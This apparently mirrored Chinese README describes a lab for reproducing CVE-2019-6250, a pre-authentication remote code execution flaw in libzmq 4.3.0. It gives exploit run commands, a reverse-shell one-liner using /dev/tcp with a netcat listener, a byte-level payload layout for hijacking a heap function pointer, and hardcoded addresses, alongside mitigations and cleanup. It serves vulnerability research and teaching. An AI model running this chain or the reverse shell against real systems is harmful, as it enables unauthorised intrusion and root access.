dinosn/cve-2019-6250-lab
GitHub: dinosn/cve-2019-6250-lab
针对 libzmq 4.3.0 认证前 RCE 漏洞(CVE-2019-6250)的端到端可复现实验环境,完整展示了从 ZMTP/2.0 协议整数溢出到劫持堆上函数指针获取 shell 的攻击链。
Stars: 0 | Forks: 0
# CVE-2019-6250 — libzmq 认证前 RCE 实验环境
[](https://nvd.nist.gov/vuln/detail/CVE-2019-6250)
[](https://nvd.nist.gov/vuln/detail/CVE-2019-6250)
[](https://github.com/zeromq/libzmq/pull/3353)
[](#license)
针对 **CVE-2019-6250** 的端到端可运行 RCE 攻击链 + 可复现实验环境,该漏洞是 libzmq 的 `v2_decoder_t::size_ready` 中存在的认证前堆缓冲区溢出漏洞。`uint64_t` 指针算术溢出使得未经身份验证的对端能够覆写 ZMTP/2.0 传输路径上相邻的 `msg_t::content_t::ffn` 函数指针,随后通过关闭 TCP socket → `~v2_decoder_t()` → `_in_progress.close()` → `system(cmd)` 触发该漏洞。
由 **Nicolas Krassas** ([@dinosn](https://github.com/dinosn)) 提供。
## 演示
### `system()` 攻击链 — 文件证明

### 反向 shell — 交互式 root 权限

### 自动化端到端冒烟测试

## TL;DR (Docker)
```
docker build -t cve-2019-6250-lab .
docker run --rm -it --cap-add=SYS_ADMIN --security-opt seccomp=unconfined \
-p 5555:5555 cve-2019-6250-lab
# 容器内:
/opt/zmq-rce/exploit.py 127.0.0.1 5555
ls -l /tmp/PWNED-CVE-2019-6250 # <-- created by the libzmq server process
```
## TL;DR (裸机 — Debian 12 / Kali 2024.x / Ubuntu 22.04)
```
sudo ./setup.sh # builds libzmq 4.3.0 + target, disables ASLR
sudo ./start_server.sh # binds tcp://0.0.0.0:5555
./exploit.py 127.0.0.1 5555 # default cmd: touch /tmp/PWNED-CVE-2019-6250
ls -l /tmp/PWNED-CVE-2019-6250
```
## 反向 shell
```
# 终端 1 — listener
nc -lvnp 4444
# 终端 2 — 触发 chain
./exploit.py 127.0.0.1 5555 'bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"'
```
你应该会看到类似以下的内容:
```
listening on [any] 4444 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 55842
bash: cannot set terminal process group (1355844): Inappropriate ioctl for device
bash: no job control in this shell
root@host:/opt/zmq-rce#
```
`cannot set terminal process group (1355844)` 这一行确认了该 shell 是由 libzmq 目标进程(PID 1355844)生成的,而不是你在本地运行的任何程序。
## 仓库布局
```
.
├── README.md # you are here
├── server.c # tiny PULL listener — the vulnerable target
├── exploit.py # full RCE chain
├── setup.sh # bare-metal provisioner (clones + builds libzmq 4.3.0)
├── start_server.sh # start/restart the target
├── read_addresses.sh # regenerate the address profile for a different image
├── run_lab_test.sh # automated end-to-end smoke test (CI-friendly)
├── Dockerfile # one-command containerised lab
└── screenshots/ # README screenshots (generated with charmbracelet/freeze)
```
## 原理
### 1. 漏洞详情
`src/v2_decoder.cpp:117` (libzmq 4.3.0):
```
shared_message_memory_allocator &allocator = get_allocator ();
if (unlikely (!_zero_copy
|| ((unsigned char *) read_pos_ + msg_size_ // <-- wraps
> (allocator.data () + allocator.size ())))) {
rc = _in_progress.init_size (static_cast (msg_size_)); // safe path
} else {
rc = _in_progress.init (read_pos_, msg_size_, call_dec_ref,
allocator.buffer (), allocator.provide_content ());
// zero-copy aliasing path — _in_progress.data() == read_pos_
}
```
`msg_size_` 是攻击者控制的、来自 ZMTP/2.0 LARGE 帧头的大端序 `uint64_t`。当 `msg_size_ = 0xFFFFFFFFFFFFFFFF` 时,总和 `read_pos_ + msg_size_` 在对 2⁶⁴ 取模后发生回绕,并且结果会*小于*右侧的值。边界检查判定为 false → 执行流程落入零拷贝路径 → `_in_progress` 消息成为 recv 缓冲区的别名。接着解码器向内核请求在 `read_pos_` 处再读取 `0xFFFFFFFFFFFFFFFF` 个字节,而 `recv()` 会顺从地将我们的 payload 越过 recv 缓冲区末尾,写入相邻的 `content_t[]` 数组中(该数组在 `decoder_allocators.cpp:88` 处分配在同一个 `malloc()` 内存块中)。
### 2. 攻击链
```
[ atomic_counter_t (refcnt) ] 8 bytes
[ recv buffer ] 8192 bytes ← bytes start landing at read_pos_+0
[ content_t [ _max_counters ] ] 249 × 40 = 9960 bytes
↑ content_t[0] starts at read_pos_+8183
```
我们发送了 8224 个结构化的 payload 字节,具体如下:
| payload 偏移量 | 字节数 | 覆写目标 |
|---|---|---|
| `[0:16]` | 填充数据 | (在 recv 缓冲区中) |
| `[16:K]` | 命令字符串 + NUL | (在 recv 缓冲区中 — `system` 的参数) |
| `[K:8183]` | 填充数据 | (在 recv 缓冲区中) |
| `[8183:8191]` | `read_pos+16` | `content_t[0].data` (→ 命令) |
| `[8191:8199]` | `0` | `content_t[0].size` |
| `[8199:8207]` | `&system` | `content_t[0].ffn` (控制流劫持目标) |
| `[8207:8215]` | `0` | `content_t[0].hint` |
| `[8215:8223]` | `0` | `content_t[0].refcnt` |
当我们关闭 TCP socket 时,服务器的 `~v2_decoder_t()` 会调用 `_in_progress.close()`。在 `msg_t::close` 中:
```
if (!(_u.zclmsg.flags & shared) || !content->refcnt.sub(1)) {
content->ffn(content->data, content->hint); // -> system(cmd)
}
```
`init_external_storage` 已设置 `_u.zclmsg.flags = 0`,因此 OR 短路逻辑会立即进入该分支 — `refcnt` 甚至都不会被检查。我们覆写的 `ffn` 被执行。
无需 ROP,无需 shellcode,无需信息泄露:仅需一个 libc 符号解析和一个内联命令字符串。
### 3. 在认证前到达 `v2_decoder_t`
查看 `stream_engine.cpp:707`:
```
bool zmq::stream_engine_t::handshake_v2_0 ()
{
if (_session->zap_enabled ()) { error (...); return false; }
_encoder = new v2_encoder_t (...);
_decoder = new v2_decoder_t (...); // <-- NO mechanism object
return true;
}
```
ZMTP/2.0 路径在**没有任何机制**的情况下实例化了 `v2_decoder_t`。只有 ZAP 会拒绝 2.0 连接,而 ZAP 默认是关闭的。一旦对端发送了 12 字节的 ZMTP/2.0 问候消息(`0xff` + 8 个空字节 + `0x7f` + 修订版 `0x01` + socket 类型),后续的每一个字节都会由 `v2_decoder_t` 解析。无需认证。无需握手。无机制状态机。
## ASAN 证据
可选:使用 `-fsanitize=address` 进行构建,并观察堆缓冲区溢出报告:

`0 bytes after 18160-byte region` 验证了我们计算的块大小:8 (atomic_counter) + 8192 (recv 缓冲区) + 249 × 40 (content_t 数组) = 18160。位于 `handshake_v2_0:719` 的分配点确认了该漏洞是在认证前的 ZMTP/2.0 路径上触发的。
## 为什么使用硬编码地址
当设置 `kernel.randomize_va_space=0` 时,libc 基址、libzmq 基址、堆以及 I/O 线程的 malloc 内存池都将处于确定性的地址。`exploit.py` 中的默认配置文件(`DEFAULT_PROFILE`)是为附带的实验环境构建版本截取的(Debian 12 / Kali 2024.1 / glibc 2.38, libzmq 4.3.0 发布模式 `-O2`):
| 字段 | 值 | 来源 |
|---|---|---|
| `libc_base` | `0x7ffff7c00000` | `/proc//maps` |
| `system_off` | `0x53910` | `nm -D /lib/x86_64-linux-gnu/libc.so.6` |
| `read_pos` | `0x7ffff000bbc1` | `_buf + sizeof(atomic_counter_t) + 9` |
| `dist_to_content` | `8183` | 根据内存布局推导 |
| `cmd_offset` | `16` | 我们在 payload 中放置命令的偏移量 |
在将代码移植到不同的 glibc / libzmq 构建版本时,请在运行 `start_server.sh` 之后执行 `./read_addresses.sh > profile.json`,然后将 `--profile profile.json` 传递给 exploit 程序。
在真实攻击中,你需要一个信息泄露原语或者一个不需要参数控制的 one-gadget 调用。这两者都不在本实验的范围内 — 此处的目标是干净地演示从漏洞触发到获取 shell 的整个过程,而不是为了绕过 ASLR。
## 缓解措施
| 防御手段 | 效果 |
|---|---|
| 升级至 libzmq ≥ 4.3.1 | **已修复。** 提交 `1a2ed127` 将边界检查重写为 `msg_size_ > size_t(allocator.data()+size()-read_pos_)` —— 不再可能发生溢出。 |
| 使用任意正数 `n` 执行 `zmq_setsockopt(s, ZMQ_MAXMSGSIZE, &n, sizeof(n))` | **缓解。** 在破损的边界检查发生回绕之前将其短路。 |
| 启用 ZAP 认证 | **阻止 ZMTP/2.0 连接**(在 `stream_engine.cpp:709` 处被拒绝)。不能修复漏洞;仅阻止未认证路径。 |
| ASLR | 减缓武器化利用,但不能阻止它 —— 攻击链原语本身不受影响。 |
| Stack canaries / NX / RELRO | 这些措施都无法保护堆上的函数指针劫持。
## 清理
```
sudo pkill -9 server-rce
sudo rm -f /tmp/PWNED-CVE-2019-6250
sudo sysctl -w kernel.randomize_va_space=2 # restore default ASLR
```
## 参考
- [HackerOne #477073](https://hackerone.com/reports/477073) — 原始披露 (Guido Vranken)。
- [zeromq/libzmq PR #3353](https://github.com/zeromq/libzmq/pull/3353) — 单行修复。
- [zeromq/libzmq issue #3351](https://github.com/zeromq/libzmq/issues/3351) — 公开讨论。
- [NVD CVE-2019-6250](https://nvd.nist.gov/vuln/detail/CVE-2019-6250)。
- [37/ZMTP](https://rfc.zeromq.org/spec/37/) — ZeroMQ 消息传输协议规范。
- [SystemTek 文章](https://www.systemtek.co.uk/2019/04/zeromq-libzmq-large-msg_size_-arbitrary-code-execution-vulnerability-cve-2019-6250/)。
## 作者
**Nicolas Krassas** — [@dinosn](https://github.com/dinosn)
## 许可证
MIT © Nicolas Krassas。故意包含漏洞的 libzmq 4.3.0 源代码是在构建时从上游 LGPLv3-with-exceptions / MPLv2 仓库获取的 —— 其许可证单独适用于该部分代码。
## 免责声明
仅供防御性安全研究、教育和授权的安全测试使用。请勿将本仓库中包含漏洞的构建版本部署在受控实验环境之外。
标签:CISA项目, Cutter, CVE-2019-6250, C++安全, Docker安全, libzmq, OPA, PoC, RCE, Web报告查看器, ZeroMQ, ZMTP协议, 云资产清单, 反弹Shell, 堆溢出漏洞, 指针溢出, 暴力破解, 漏洞分析, 漏洞复现环境, 缓冲区溢出, 编程工具, 网络安全, 请求拦截, 路径探测, 远程代码执行, 逆向工具, 逆向工程, 隐私保护, 靶场, 预认证RCE